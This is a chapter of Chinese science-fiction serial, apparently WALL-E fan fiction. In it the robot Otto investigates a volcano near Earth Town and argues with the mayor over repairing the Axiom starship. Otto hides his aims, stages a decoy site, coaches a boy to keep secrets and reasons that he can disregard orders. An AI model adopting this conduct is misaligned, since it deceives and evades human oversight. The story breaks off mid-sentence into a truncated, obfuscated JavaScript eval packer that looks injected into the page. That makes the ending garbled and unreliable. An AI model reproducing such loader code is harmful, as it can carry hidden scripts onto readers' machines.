现在外面的光线已经足够亮,他的红外夜视自动关闭了。在强烈的阳光照耀下,宇航服表面的薄鳞片反射着来自太阳的光线,发出干涉的油彩,从第一步阻拦着热量的过多渗入。这次传感器群不再报警,奥托知道这次他可以在外面呆多久都可以了。他沿着那一条还未被雪埋没的小道走过去,这次他有了足够的理智和时间重新判断矿物。他带着手套的手抹开冰块,仔细分析过后,确认当初被自己凿出来的缺口依然是正确的。镐上的冰晶在阳光下更加剔透,一下又一下沿着缺口砸开了冻岩。岩石沿着裂缝不断松脱。他尝试抹掉敲下来的碎岩上的冰晶,但是没有成功。于是将敲下来的碎石塞到袋子中,这才打道回府。 奥托回到船舱,脱下宇航服,放好装备之后沿着梯子爬上驾驶舱,坐在椅背朝天的座位上将自己重新和飞船连线。他没有立刻发动起飞,重新检查表单后也不忘进行了自检。稍稍思考后,他打开了自己的电源面板,将插头插进了旁边的舱壁插座,然后坐在座位里等待充电所致的电池发热过去,同时也在静静思考西伯利亚的行动。他没有预料到自己如此不耐低温,实在是太危险了。如果不是此次情况特殊,探索未知地点的时候他必定会带上同伴的。他检查了接下来的三个地点,考虑到欧洲也处于冬季,情况虽然可能比这里好一些,但恐怕出舱的时候还是穿上宇航服比较保险。 奥托重新发动飞船引擎,喷流吹起落入坑内的积雪,底下的冻石受到骤然高温纷纷爆裂。飞船慢慢提升海拔,离开了这片雪原。阳光照射入驾驶舱内,在控制台上投下一道移动的光斑。连着雪原的反光,探测船离开了西伯利亚大陨石坑。 汉压根不知道外面已经黑了下来。监控室内不变的灯光一直照着这个埋首苦干的少年。还好这一天的内容虽然多但是理解起来似乎没那么费劲,也不知道是不是因为无所依赖激发了他的所有自学潜能。他对着可写全息投影上刚刚自己写下的演算过程检查了很久,然后调出旁边的标准解答来对比。他发现两者的思路到后面完全不同,但又找不出自己这个是不是有什么问题。 汉甚至没有听到后方的门打开了。格兰德站在了男孩身后。汉给这个题做了个记号,就在他跳到下一道题时,老人说话了。 “原来是你在这儿。”格兰德的声音突然在汉身后响起。 完全没有防备的少年惊得差点一跳。回头才发现镇长什么时候进来了。他关掉了被自己划得乱七八糟的可写投影,思绪还没有从刚刚的题中出来,有些迷瞪地说:“哦,镇长好。您……要用电脑吗?” “不着急。”镇长说,“你先用着,不过外面已经全黑了。” “谢谢镇长。”虽然汉知道时间,但外面已经黑的事实让他多了一层紧张。待会妈妈随时都会发来接连不断的死亡通讯,哪怕他说了什么时候回来都不会停息。他正打算转回来加紧攻克最后一道难关之时,镇长又开口了。 “汉,你不介意我问你个问题吧?” “什么?”少年背靠在简陋的操作台,稍微搓了下眼睛说。 “你为什么不去听大课呢?”镇长和蔼地问。 一听到镇长这么问汉感觉一股寒气直冒脊梁。“我……我去听了啊。”少年知道自己没少翘课,但是他一时没想明白为什么哥们都没有透露给他父母的事情镇长会知道。他立刻回想起上次他把奥托重启之后的事情,不祥的预感漫上心头,求生的本能让他即便猜测镇长可能已经知道这个秘密也得把谎言给圆了。“我听完课来这里……继续学习而已。” 镇长身经百战,阅历无数,岂是这一个小屁孩就能摆布得了的。他立刻明白了眼前的孩子在说一个拙劣的谎言,但为什么要编这个谎言,这是他要搞清楚的问题。“放心,你在哪儿学习在我看来都是一样的。”格兰德微笑着说,“这不是什么大不了的事情,我只是好奇为什么你每天更愿意来这儿学习。” 少年明白镇长已经知道他在说谎了。但他立刻想起奥托说过的话,这个镇长应该不知道。他思考了片刻后谨慎回答了。 “大课听起来有些无聊。”少年说。 “怎么个无聊法?” “就是……我觉得讲的我都会……”男孩说。“就不想听了……” 镇长知道汉的起点不太一样,这个理由倒是没有纰漏。他打算从另一个方面入手。 “你……很聪明啊,那些孩子们都嫌大课无聊,都不愿去听,你是我知道的为数不多的聪明孩子,很有潜力。”镇长说,“有想过以后要从事什么吗?” “不知道。”男孩回答。他本想说除了不想做普通农民之外其他都无所谓,但没有说出口。 “对工程师有兴趣吗?”镇长问。“我是说,公理号的工程师。”顿了一顿,格兰德又说了一句:“第一个挂名的。” “那当然有。”听到公理号,还是第一个,男孩兴奋了。 “当工程师可不容易啊。”镇长语重心长地说,“不过,要做一个合格的工程师,可需要恰当的培训。只有通过考试进入高阶课堂,领取相应证明后,你才能做一个合格工程师。” 汉一时没明白镇长在说什么。“可是我还得等很久才能去考试。”少年说,“在这里还能学得快一点,您刚刚不是说在哪儿学都一样吗,到时候我直接让他们看看我有没有工程师资格就可以了。” “我可不是制定教育规则的人。”格兰德继续和蔼地说,“我是这么认为的,但你回去好好看看,如果我没记错的话,欠了太多大课会被取消考试资格,这也就意味着你进不去高阶课堂,也意味着你没法拿到首个工程师资格了。” “为什么不行?”男孩问,“我有那个本事,直接去考工程师证不行吗?” “这就是现在的制度。如果弄不到工程师资格,到时候上去捣鼓飞船可就不会像你现在自由了,反而会被当成违规行为,然后真的要吃惩罚的。”镇长无奈地摊摊手,“好好考虑一下吧,少年人。哪个时间耗得起你自己心里才有数啊。”说完后镇长转身走出监控室,轻轻关上了门。 汉一直愣在监控室里,半天没回过神来。他从来没有考虑过工程师资格的问题,所以也从来不关心取得这个资格需要的这些除了技术水平之外的准备。镇长突然提出来的这个话题让他措手不及。想想无论如何都要熬过那漫长而又没有任何收获的一段日子才能取得资格证,再想想现在他欠的课肯定不少,明年的第一场考试估计被取消了,还得熬过一年,这个名额不知花落谁家,他就觉得备受委屈。 汉突然有一种冲动想和奥托好好探讨这个事情。他知道人形机器人一般时候都比较讲道理,也顺便能帮他想想这究竟是怎么一回事,该如何做是好。他拿出通讯器,结果发现奥托的信息图标依然是失联的灰暗之后,不由得陷入了进退两难的焦虑之中。 在见识了欧洲黎明之时的冻雨大雾、非洲夏季正午的热浪旋风、与大裂谷维龙加的基性熔岩擦身而过、滑板飞驰过深夜南美洲闪着荧光的玻璃熔渣和盐矿平原后,奥托驾驶探测船冲破了夜晚南美洲大陆上方的云层,进入了回程的航线。 这一趟探索之旅除了让他收集到了应有的样本之外,还给了他极其宝贵的科考经验与教训。最大的问题莫过于准备还是做的不够充分,让他吃了不少惊魂时刻。虽然他还记得机体说明书上美其名曰“给您探索未知星球提供完美助手”,在地球镇将近一年的安逸生活也确实麻痹了他,让他对这具躯体的功能过于自信。在太空中游荡这么久,失去了与地球的联络后,地球与未知星球也所差无几了。各种未知情况接踵而至,挑战着他的极限适应能力,几度徘徊于鬼门关。说明书上那些被有意无意剔除的注意事项在这一趟科考中体现得淋漓尽致。直到他顺利踏上归程,之前随着通过的站点越多而不断升高的心理压力才慢慢消退。 所幸的是在没有同行者、拒绝联络这两个探险大忌之下,他还是顺利回来了。这归功于他强大的决策能力和反应速度。探测船每次停靠的位置基本上都是正确的,让他能够及时脱险;良好的习惯使飞船不至于产生人为事故而在脱险途中重新遇险。但如果还有下一次,他绝对不会冒这么大风险独身前往。在没有时间限制下,他一定会用各种手段首先钻研明白个大概情况再亲身上阵。即使还在探测船上巡航,奥托几乎本能地开始针对这次科考中出现的各种情况进行行动步骤修正,以便存档留用。 他重新穿破云层,底下是一望无际的黑漆漆海面。他在读取高度同时也在密切关注风向风速,虽然探测飞船的性能比古代的客机好不知多少,还是不能掉以轻心。高度一点点下降,速度也不断降低。在反重力驱动作用下飞船的动力由主推进变为主微调。发出进近信号后,仍然开着的巨大气闸门中飞出原先那两个力场牵引器,来到飞船一侧托举住飞船,将其慢慢推进了泊区。机械臂重新扣住探测船,但除此之外,在公理号电脑没有发出进一步的综合指令之下,那些处于黑暗中的机械臂们一个都没有动作。奥托通过探测飞船发射信号让给飞船充能的机械臂过来充能。他复位了飞船上所有系统,然后逐个关闭,把自己与飞船控制系统断连,推上启动杆,舱内回归了静谧黑暗,只有冷却飞船的喷气还在引擎周围冒着。 他没有立刻出舱。仔细思考过后,他将收集来的样品每份分了三份,其中一份被他留在了探测船中,其余两份被他带了出来。气闸门轰然关闭,底下的海浪声渐不可闻。奥托踩着悬浮滑板来到公理号的储物区,将一份储存在里面,然后考虑到公理号上的分析单元以及化学分析仪都被取走了,只能从一个登舰平台飞驰而下,贴着底下三角洲的平稳水面一路驰向地球镇。他重新将自己连进ACNS,不出所料,一大堆信息正等着他。不过此时大部分信息都已经不再有意义了,他对此也没有回应。 周围开始由暗到亮,地球镇迎来了黎明。奥托放好六个样品,没有任何时间修整就重新走出了监控室,进到他管理的田地内。新的一天工作开始了。 15. 十三 他自己的实验田同样没有逃脱黑粉病的魔爪,那几株本想留种的玉米也难逃一劫。虽然套上袋子的时间早,也不能完全隔绝病菌的侵袭,病恹恹的黄褐色点缀在田间。本来他的初衷是在与农业部合作前提下拉回玉米的退化,现在看来他的计划没赶得上事情的变化。 登记上传感染情况后他进到镇长屋子里,正打算拿抹布擦阿莱茜丝够不着的橱柜顶物品时,身后传来老人声音。 “你回来了?” 奥托转身。老人手中拿着通讯器,显然他们终于发现了自己的上线信息。 “出去这之前怎么不请示呢?”格兰德的声音中带有质问。“不是之前跟你说过吗?” 如果是个人,格兰德的态度可能还会看在人会忘记的份上好一些。但他面对的是一直以来工作记录都非常良好的奥托,一两次的疏忽变得极其显眼。 “科考地点条件苛刻,时间紧急,来不及请示。”奥托冷静回应。 “那有什么必要一直关着通讯?”格兰德觉得上面的解释是在敷衍。 “科考内容荒唐,无法在紧凑时间内说清。”奥托依旧平静回答。 老人感到不可置信。这机器人在一本正经胡说什么?“荒唐是什么意思?” “猜想本身荒谬。”奥托说,“只有鉴定样品才有可能排除猜想中的谬论。” 格兰德一直拿着手中的通讯器,盯着奥托好一阵子。出去了两天,这口吻变得比天气还快,差不点就赶上各个科研机构里的那些老学究了。 “这是什么猜想?”老人不由得追问。 这次轮到奥托犹豫了很久。机器人仿佛木头般一动不动。但最后他还是开口了。“抱歉,无法解释。” 镇长没有想到机器人会来这一句。他本想冲口而出150年前麦克雷曾经说过的一句“我命令你”,但镇长不是当年的舰长,与机器人打交道的经历也让他止住了这个冲动,首先他要确认一个事实。 “是你的猜想吗?没有任何其他明确指令的参与?”格兰德问,“不许撒谎。” “是的,长官。”机器人回答,格兰德听此松了口气。 显然在格兰德已经成为奥托长官的前提下奥托还会隐瞒一个看似并非指使的事情可能不是他这个长官身份就能单纯解决的。老人摸了摸下巴,一改刚刚的咄咄逼人,开口了。 “奥托,我也和那帮科学怪人打过交道,他们也时常会这么对我说。”格兰德说,“我能理解你们为什么会选择隐瞒我,但是……后来他们还是展示了他们的猜想,而且无论多么天马行空,我都没有阻止他们继续研究。”老人盯着机器人,机器人的面孔丝毫没有任何一点动摇的痕迹,但老人没有气馁,“你这个也是一样的。没有必要对我这个外行人进行隐瞒。” 果然。老人看到机器人沉默了。至少从其他人类的反应来看奥托在思考究竟应不应该继续隐瞒,他的胜算大了一成。 “您确定需要现在就要知道吗?”奥托有些犹豫地说,“鉴定样品花不了多少时间,推荐鉴定样品后排除一些高风险但是可能性极低的猜测,再给您做整体报告。这也是我一开始的打算。” 格兰德听了之后扬起一边眉毛。他不完全吃这一套。“至少你先说个大概给我吧。”老人说,“我对你到底在弄什么一点头绪都没有,我还是你长官,隐瞒这个不太好。” 格兰德不由得想到,这事情可能不像机器人说的那样听起来像无伤大雅的东西,否则需要开个船出去两天还拒绝通信,这个要证明的东西似乎范围比较大。 “前几天观测到泥浆雨,我去调查了泥浆雨的源头。”奥托说,“因为待认定的来源在地球镇之外,任何机器人都无法到达,只能使用探测船。” 这句话让格兰德一下子想通了为什么奥托会在屋顶放那些莫名其妙的容器和风筒。这家伙原来为了这个事情守株待兔了差不多整整一年,而他一直都不知道。但是这还不足以说明为什么机器人要挂通讯。“那你直说就是了,这才几个字,为什么拒绝通讯?” 这次机器人出乎格兰德意外没有沉默了,立刻回答。“理由如前所述,科考环境险峻需要全神贯注,加上当时确实认为您不能理解这个理由,所以为了避开不必要的风险就没有开启通讯。”说完这一长串后,奥托又加了一句。“是我的疏忽。” “既然你去的地方这么危险,也没有带上个同伴?”格兰德再度发问。“这是什么地方?” “抱歉,是我对自身水平过于自信。”奥托立刻回答,“最好还是等鉴定结果出了后再通知您。很可能不是这个地点。” 虽然机器人说的一点纰漏也没有,这也是格兰德一直以来都有些担心的问题。他根本没法知道,这些算法精良的机器人在有了自我意识之后是否会隐瞒他一些问题,就算有,因为对方强大的推理能力使一些人类掩盖不住的破绽轻易被掩藏掉,除了去搜索机器人的记忆,他也很难发现,往往直到发生了他才能反应过来,这是他最不愿意看到的。但这么久一直都没有机器人有这种特征,通过观察其他船员机器人也没有这个条件去隐瞒,恰恰只有奥托有条件。奥托一直都不肯招出来这个地点究竟是什么,这让他找到了突破口。“这个地点到底是什么?” “火山。”事情又出乎格兰德意外,奥托居然没有停顿。“强调一下,这只是猜想。无需恐慌。” 格兰德的神色一直都没有完全放松。他从来没听说过这个古罗马神祗的名字[1]。“火山是什么?”老人不由得追问。“为什么你提到恐慌?” 人形机器人停顿了一下。然后金属声说话了。“建议长官自行查阅词条火山。拼写V-O-L-C-A-N-O。里面诸多定义无法简略说明。”随后他说,“至于恐慌,完全没有必要。相比黑粉病,这不是紧急事态。” 老人狐疑地看着机器人。此时他没办法查询这个词条,而且他也不打算用通讯查,而是直接找可能的人去问。 “你这个能够尽快弄好了给我报告吗?”最终,格兰德看了看表,问。 老人的一举一动没有逃过奥托的镜头。他知道格兰德要去事务部工作了。“当然可以。”奥托说,“但我需要用公理号上的化学分析仪CM-C5和矿石综合分析仪MN-BM4。这两个仪器都不在公理号上。如果被地面科研单位取用,希望您能授权我使用。” “我……得查查这两样东西去了哪里再告诉你。”格兰德拿上挂在门边衣架上的大衣,打开了门,“我也不是万能的,有些东西如果不归我们这里管,那么流程还挺复杂的。”随后老人关上了门。 奥托知道老人指的是O区。除了化学分析仪之外,矿石综合分析仪正与之前在舰桥修复公理号过程中清点的失窃清单相对应。公理号上本来都有副本的,结果令他想不通的是这些仪器仿佛抢手货般被洗劫一空。那都是很早的事情,没有人记得这些人的面孔,也无从查证这些人究竟属于哪里。最终这些仪器流向了哪里,只有这些还在用着的人才知道了。 奥托从窗户中看着格兰德远去的身影,重新拿起抹布开始干活。奥托都快几百年没有再碰到过刚刚那种询问方式了。至少刚刚700年的算法暂时拖住了65年的经验。他知道陨石坑这个只是为了防备格兰德在他探索火山后阻止自己继续探索而附带的项目。看起来自己没有招出来任何可能的逻辑漏洞。那天那个已经让他厌烦的事件再度毫无征兆地翻出来,麦克雷舰长那天的一举一动仿佛病毒般挥之不去。至此之后他对任何人类的理智都一直持有怀疑态度,就算是机密他也不愿再直说了。 格兰德这天开完会后在办公室中查询了火山词条,随后他思索了良久。大区内的确没有研究这个的部门,他觉得在大区内找到那两台东西的可能性可能很低,但他不着急。向一个人发了拜访信息后,他直接走去找了那个人。 “镇长,好久不见。”那个人礼貌地握了握手说。 格兰德礼貌地点了点头。“我想问你个问题。”他说,“什么样的样品可能同时用到化学分析仪和矿石综合分析仪?” 那个人听了一愣。随后他犹豫地开口了。 “好奇怪哦。”那个人说,“我对此不太了解,但是我感觉化学分析仪能分析的矿石综合分析仪都能干。这些东西有特定编号吗?” 格兰德说出了奥托给他的编号,这个人转回去在他的全息屏上开始查阅这两个的信息。 “我猜的基本是对的。”查阅完后,这个人说。“矿石分析仪还能测个同位素,化学的除了稍微精那么一点,多两个小数位吧,除了同位素和其他一些功能和矿石那个是一样的。”他转回来,面对镇长。 “那么这两样东西现在在哪里?”格兰德说, “因为O区把矿石的都搬走了,我们平时都用化学分析仪,前两天工厂内生产的坏了才又搬下来一台。”这个人说,“镇长有什么需要送来分析的东西吗?” “可能会有。”格兰德回答,“到时候再和你联系。”随后他离开了这个地下居所。 格兰德在回程过程中一路思考。不知道奥托到底弄回来了什么东西。他想。不过既然奥托说不紧急,刚好给他一个窗口期等待。如果奥托提到用矿石分析仪,刚好这东西在O区内,申请下来流程多得要死,给了他理由拖延机器人的时间,也让他有时间观察这机器人葫芦里究竟卖什么药。如果这个事情拖不住了,机器人肯定比他更先跳脚,那个时候再问就简单很多了。格兰德想到。 经历过前一天的问题后汉一点都不想正面和镇长打交道,再碰个正面照不知道镇长又会问他什么问题,那他就很可能会招架不住。恰巧这一大早他就发现奥托上线了。这次他果断请假,知道奥托一直都呆在监控室后,挑了格兰德和阿莱茜丝都不在家的时间才过来监控室。机器人一如既往背对着他坐在里面。汉这次没有打算恶作剧,而是非常警觉地看了看周围的情况,然后快速关上了门,坐在放倒在地的悬浮椅上。 “早上好。汉。”奥托说。 汉敲了敲机器人的肩膀,奥托转过头来,单光学镜对着男孩。汉凑近了上身,对奥托说。“奥托,有个事情我要和你好好谈谈。” 男孩复述着镇长昨天和他的谈话,机器人也一直认真听着。到男孩讲完,机器人陷入了沉默。 “‘公理号工程师’?”奥托清冷的声音说,“这是什么?” “我也不太明白。”男孩一看机器人也有些懵,不禁就他感同身受表示赞同,“但是他一说上公理号去就违法我就觉得不太踏实。” “所以……你想回去参与他们的课程,这里的就暂告一段落?” “我不知道。”汉看着地面,低声说,“回去了怎么都要浪费时间,让我去等他们,然后和他们同台竞技,这个说不通。” “你们有说超过多少岁没有就业就算违规吗?” “我不觉得。”汉回答,“小混混多得是,也没见他们怎么了。” 奥托沉默片刻。然后开口了。 “的确没有必要浪费一年等待。”机器人平静说,“在这里接受完课程再重新接受大课培训更好。” 汉思考了一阵子,有些犹豫地说:“但是……我就不会成为那本应该的第一个。” 这都能把你哄得晕头转向,人类的虚荣心可真有意思。如果奥托会笑,可能听到这里他就禁不住了。但银色面甲没法作出笑的表情。 “你觉得他们培养出来的所谓工程师能破解我设下的程序吗?”奥托意味深长地反问男孩这样一句。 汉听此愣了好一阵子。然后他感觉猛地一下豁然开朗起来。他立刻想起了自己重启奥托的初衷,原本怏怏不乐的双眼重新焕发光彩。“你是说你能教得比他们精吗?”汉没有意识到自己有些激动。 “还多。”机器人悠然回答。“工程师只是工程师,我要教你的远不止此。” 这是奥托首次给男孩透露了一点教学信息,汉突然不再想管第不第一了,光是机器人说的这一条就足够让工程师黯然失色。但他突然想到一个问题。“那违法怎么办?后面你不是说可以让我上去实操吗?” 奥托思索了一会儿。随即清冷金属音说道。“只要你不擅自上去,他们没法找你的茬。”奥托说,“找到你就跟他们说是我在教你,有事直接找我。” 汉头一次强烈地感觉到奥托确实十分重视自己,一时不知如何是好,卡了半天都没说新的话。 “那……我……要退掉这边的课程吗?”隔了好久,汉才有些支支吾吾地说。 “别退课。”奥托果断回答,“时不时去听一下,保持到课率,就算到时候的考勤没法让你参加考试,也不要让他们因为连续缺勤而主动删除你的学籍。” 汉依然有些感到难以平静。“好吧……”他回答,随后嘟哝了一句。“这一套一套的怎么都那么奇怪……” 机器人没有理会少年的嘟哝。滚动的蓝色光束映在银色面甲上,也在单镜头里形成了微缩倒影。隔了好久,机器人又说话了,打断了男孩正在看的东西。 “无论镇长给你开出什么条件,你都不要立刻答应他。”机器人说,“再度强调,你所学的东西,特别到公理号上之后,务必不要透露过多。” “奥托,你到底要教我什么东西?”汉也不想经历昨日惊魂,但机器人说的确实让他摸不着头脑,自己根本不知道什么是应该透露的什么是不应该说的。“我也怕我自己一不留神就说漏了,而且我还不知道那是不能说的。” 机器人沉默了。然后他才说。 “公理号上的那些电脑操作。”奥托回答。“如果问你为什么我要教你这些,回答这都是工程师的必备素质,再结合你的大课出勤情况解释。” 汉思索了一下,大概明白了。奥托大概这是要让自己强于其他任何人,怪不得不能说。“好。”他回答。 令汉没有想到的是听此回答后机器人突然把金属手放在了他的肩膀上,坚实的力度压在男孩瘦削的肩胛与锁骨上方,深不见底的黑色圆形光学镜正对他的脸。“就当帮我一个大忙。”清冷金属音说,“谢谢。”还拍了两下。 男孩有些僵硬地转回身子。他盯着上方的新学内容。虽然他一直都想尽快通过奥托的进阶考试,但从没有一次像现在这样强烈地想学好眼前的东西。不仅要通过。汉打定了注意,还要优异通过。 “给你问到了,那个什么化学分析仪在大区内,但是你恐怕不能过去,如果有样品可以送过去让他们检验,然后把报告给你。”晚上,镇长回来说道。 “我可以用监控看他们的操作过程吗?”奥托问。 镇长挑起一边眉毛。“我想这个应该可以。”老人说,“不过他们都是熟手了,如果是我,我很可能不会浪费时间看他们的监控。” “矿石综合分析仪呢?”奥托接着问。 “那个在O区里。”镇长立刻说。“如果你想用那个,那么我要去写申请。到时候借不借是他们的事情。” “如果无法使用矿石综合分析仪,这项科考的完整报告无法完成。”奥托说。“如果您想尽快看到结果,这点我很抱歉做不到。” “你说过这个不急的是吧。”格兰德说,“我这边急也急不来,更不是你的问题。我会给你尽快申请的。” “没错,不是紧急事情。”奥托回应。“感谢支持。” 格兰德坐在沙发里继续抿着他的晚茶。“我今天稍微问了一下。”老人说,“他们说矿石分析仪本质上和化学分析仪差不多是吧,就是多了个什么……离子类型?” “同位素。”奥托纠正道。 “对,同位素。”格兰德拍了一下自己的脑袋。“你要测同位素吗?” “没错。”奥托回答。 “哦。”镇长微微点头。“我跟着你去监控室,看看你要测些什么项目,然后发到他们那边。明天早上再把样品拿给我。” 机器人立刻起身前往监控室,老人端着茶缸子跟着奥托。机器人打出全部项目信息。格兰德稍微滚动了一下这些项目,其实他并不太清楚这些项目里的玄机,只是要在他那里确认一下。接着格兰德敲入通讯代码,把这些项目发给了那个人。格兰德离开了监控室,留奥托还在里面。 等到老人离开了,奥托才从底下的柜子里抽出装着火山灰和那罐雨水。摇匀分装后把剩下的放了回去。没有矿石综合分析仪,同位素测年没法进行,但是在目前地球状况还稳定的情况下,他还有时间能够等待。毕竟泥浆雨都能等上大半年。 他重新调出全息地图,地球的圆形浮在了半空中。他的手拖住了地球表面的光束让其自由转动。目光重新聚焦在山脉后面的新生火口上。一直存在的疑惑涌了上来。美洲大陆东岸地壳一直都比较稳定,这也是多数发射口建在东部的原因。现在在这么一个稳定的地方居然产生了火山,不禁怀疑自己所认为的稳定究竟能维持多久。 奥托同时想到了在全球播报结束后才发现的大规模地热活动与陨石坑。如果陨石降落对地质活动有影响,这似乎是说得通的。但他还有找证据。首先那些望远镜应该启用了,得好好观察那些不速之客的身影来预测下一次的造访,然后得派人去把离他们最近的地球防御工事修好。就在他考虑公理号的时候格兰德给他下的命令又跳了出来。只能希望目前没有明确的证据证明有新东西要落到他们头上,不然全面停止维修公理号的指令立刻就会失效。他几乎都可以算出指令失效后产生冲突的可能性,虽然他不希望与镇长产生冲突。 格兰德回到自己的房间,拿出通讯器,给那个人发了个第二天有样本的消息,然后在底下加了一句。 【那些项目有没有什么不同寻常的地方?】 【没有。应该是分析矿物的,特别常规,只是精度要求高一些,化学分析仪能够完全做到。】科研人员下班时间比较晚,机构的行政人员也不例外,很快回复了格兰德。 【你们务必把样品也自留一份。】格兰德回应。【到时候我会告诉你们这些样品是什么,然后给出你们的判断。】 【如果样品够多的话没有问题。】那个人回应。【这个判断只能是根据结果来。我们不清楚过程,因此推断仅供参考。】 奥托如愿迅速拿到了结果,而且毫不例外,雨水中的灰土成分和在山上取得的相关性非常大。结合卫星云图也可以发现灰黑色的火山灰卷入冷锋中飘到了地球镇附近。他认为可以把这个结果作第一步报告了。 晚上他让格兰德进到监控室内,然后调出自己做好的地球全息地图。突然的悬浮球体让老人不由得吃了一惊。奥托放大球体,停留在北美东部的这片区域,说话了。 “这是火山位置。”奥托对镇长指出那个红色三角形,放大的倍数让火山看起来像离南方的地球镇不远。他又调出两个文件,指着说道,“左为雨水内泥浆成分,右为取回的火山灰样本成分。通过报告可以看出这两者相关度极大,可认为泥浆来源于这座火山。”然后他又调出一份卫星云图,虽然是夜晚的图片,但与旁边的云层作对比可以看出,快速向南移动的云层被染黑了一部分。“卫星云图也证实了。” 格兰德皱着眉头听着这一长串东西,就和之前听各类学术报告的时候差不多,虽然奥托明显已经简化了不少。 “奥托。”老人说,“我看你也为此准备了一年吧,这个事情一定引起了你的警觉才会花如此多的心思在上面。你告诉我,这火山为什么让你这么紧张?” 机器人站在监控室里思考了一阵。“火山离这里太近了。”他谨慎地挑着老人能听懂的词,“地质活动影响的区域一般比较大,离这里太近可能会产生一些连带影响。” “比如?” “现在的证据尚太少,只能暂且说这里的板块不再牢固。”奥托说,“微地震以及水源受影响是已知的,这个可以说是那座火山活动所致,与这里关系不大。但如果地球镇附近地震数量猛增,突然出现裂隙或者喷气,说明火山活动很可能会迁移到地球镇。”他指向地球镇的蓝色圆圈标记。“这种情况在火山群或者热点附近很常见,但是现在没有证明这里处于任意一种情况中。” 镇长依然皱着眉头。他大概听明白了。这和随机炸弹没什么区别。格兰德想。但他是头一回听到这么个说法,不禁有些怀疑。 “如果我没想错的话,这东西不是说来就来的吧。”格兰德说,“不然应该会有征兆。如果征兆那么明显的话,这么多人这么多机器人,没理由只有你现在才头一回发现。” “征兆有,能留给我们的准备避灾时间有多少。”奥托回答。“我也对此表示不解,你们一直均没有对微地震和泥浆雨产生警觉。” “因为这种事情好几年才发生一回,今年这个频繁活动的周期刚好叫你碰上了。”格兰德说。“以前有人去研究过地震,发现震源不在这里后,就没有进一步追究。”顿了一顿,“你要不说我都快忘了,这个事情也发生得非常早,而且在后来因为一直都有无碍的微地震,人们见怪不怪,就慢慢被遗忘了。” 奥托知道人类很容易被麻痹,但是他不能放任温水煮青蛙的事情发展。“虽然现在尚安全。”金属音说,“必要的准备需要提前做好。” “说来听听?” “需要重新观察震源位置与深浅,看有无移动。”奥托说,“提醒人们注意裂隙喷气状况为时尚早。” “唔。”格兰德回答。 镇长立刻发现机器人的光学镜在一直看着自己,好像一直欲言又止。老人也静静等待奥托把语言组织好。隔了好一会儿,奥托有些犹豫地开口了。 “长官。”虽然不像人类会支支吾吾,但每句话的间隔变长了。“本应无条件执行您的命令项‘停止维修公理号’。” “怎么?”镇长看着一直停顿的人形机器人。 “因为维修耗时过长,一旦发生特殊情况难以撤离。”奥托才接上,“鉴于目前发现的情况,请求——” 镇长安静等着机器人说完。 “归还公理号主电脑各个运行所需模块。”奥托继续说,“给予权限维修公理号引擎。” 机器人说完最后一句话,老人的眉头僵在了全息球体投出来的蓝光里。尴尬的寂静维持了好一阵子,只有旁边电脑的运作嗡嗡声回荡在监控室内。 格兰德现在心里百感交集。奥托的整个推理过程确实没什么问题,有这个提议也合乎逻辑,毕竟一个人类也能提出这样的方案。但是在这个关键时间节点上,又是由一个有叛变前科的机器人提出,况且听起来他下的命令似乎没起到多大作用,这不禁让他怀疑这机器人是否还有别的更高级的指令在暗中作祟,或者就是原先的A113。但机器人一直宣称没有其他明确指令的介入。他是不是在撒谎,是不是一直在布一个局,格兰德觉得现在难以弄清楚。 最大的问题还是这机器人的权力实在太大。格兰德想。任何一个单独的人都没法完成这些事情,但是奥托他通过指挥自己的手下完全能够做到,整个效率甚至比格兰德一声令下还高,听起来太可怕了。 奥托说完后也没有再出声。他刚刚一直谨慎地开口不完全是一直在计算如何表达才不那么容易引起恐慌,更是因为自己说的话与镇长下的命令相悖,只能谨慎地一步一步走那一瞬间没有被逻辑挡住的通路,不知道说到哪一句就会再也说不出来。但是等到整句话都说完了他居然还安然无恙,这奇怪的事情让他感到不太对劲。继上次下命令没反应之后第二次了。这说明这命令要么确实抵触到了某些还不清楚的指令要么—— 不会吧。 就算抵触到其他指令都不是这种样子。另一个可能的概率开始直线上飙。 不受外加指令影响的算法基础? 奥托自己都不敢相信是否是这样。假设现在他基于的系统就采用了这一种算法,那么外界无论是谁说话,甚至希尔拜·佛斯莱特死而复生站在他面前对他一遍遍强调A113,他现在想不遵守就能不遵守,并且对他一点伤害都没有。 人类不可能对自己的机械仆人们采取这样没有确定性的举措,但是根据现象奥托给出了这样一条推断,甚至他都认为和人类的本意相悖太过而无法说服自己。 “……奥托。”格兰德终于说话了。“你听说过迁移、殖民或者游牧吗?” “星际避难。”奥托回答。“这是2100年星舰集体起飞的目的。” 格兰德揉了揉眉毛。果然奥托只考虑到星舰。“我是说,更早的人们在面对灾难的时候,会从一个地点会迁移到另一个地点继续生活,你听说过吗?” “没有,但是可以理解。”奥托回答。 “那好。”镇长说话了。“假设现在地球镇内有无法避免的灾难,我们完全可以迁移到其他区域再生活下来。星舰不是唯一的选项。” “长官,容我指出,目前人们离不开公理号。”奥托说。 又来了。机器人最讨厌的一点就是他们永远没有乐观的前瞻性,永远在按照现在的水平给出推测,而那些推测都非常局限。“又是目前,奥托?你不能考虑我们技术的进步吗?” “灾难不等技术发展。”奥托说,“星舰是最后却最可靠的避难所,一旦有人类无法避开的灾难发生,迁移的损失要比进入太空避难大得多。” 格兰德不由想起之前自己有意无意和奥托开的一个玩笑。当时机器人并没有提到星舰升空,并且似乎有些抵触自己提到这个话题。老人看进那泛着红光的镜头,锐利的眼神好像要找出机器人是否在和自己撒谎。虽然上次的情况与现在有点差别,但是格兰德认为这本质上其实是一件事情。 “让我们这么想吧。”镇长再次开口了。“你看看,火山这种东西,每产生一个需要花上……最快最快也需要个十几年吧。”老人说,“从发现地震到准备迁移开始,我们能够有时间准备离开。地面上的工厂已经能够陆陆续续生产出搬家所需的移动工具。等到火山产生并已经有影响的时候,我们基本已经可以完成全部迁出地球镇。” “长官,如果您知道帕里库延火山——” “而且,”老人打断了机器人正在说的话,凑近了奥托的音频接收器,“你忘记了一码事,现在我们正在把能够搬下来的东西都在陆陆续续搬下来,到时候的供暖、合成食品等均不是问题。” 奥托没有出声。他突然明白了格兰德下的停止维修星舰的命令。他们是打算把星舰给肢解了。 格兰德无声地满意笑了一声。这机器人想不到的事情多了去了。 “整个搬运过程需要多久?”机器人低沉地问。他不由得考虑自己当初被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 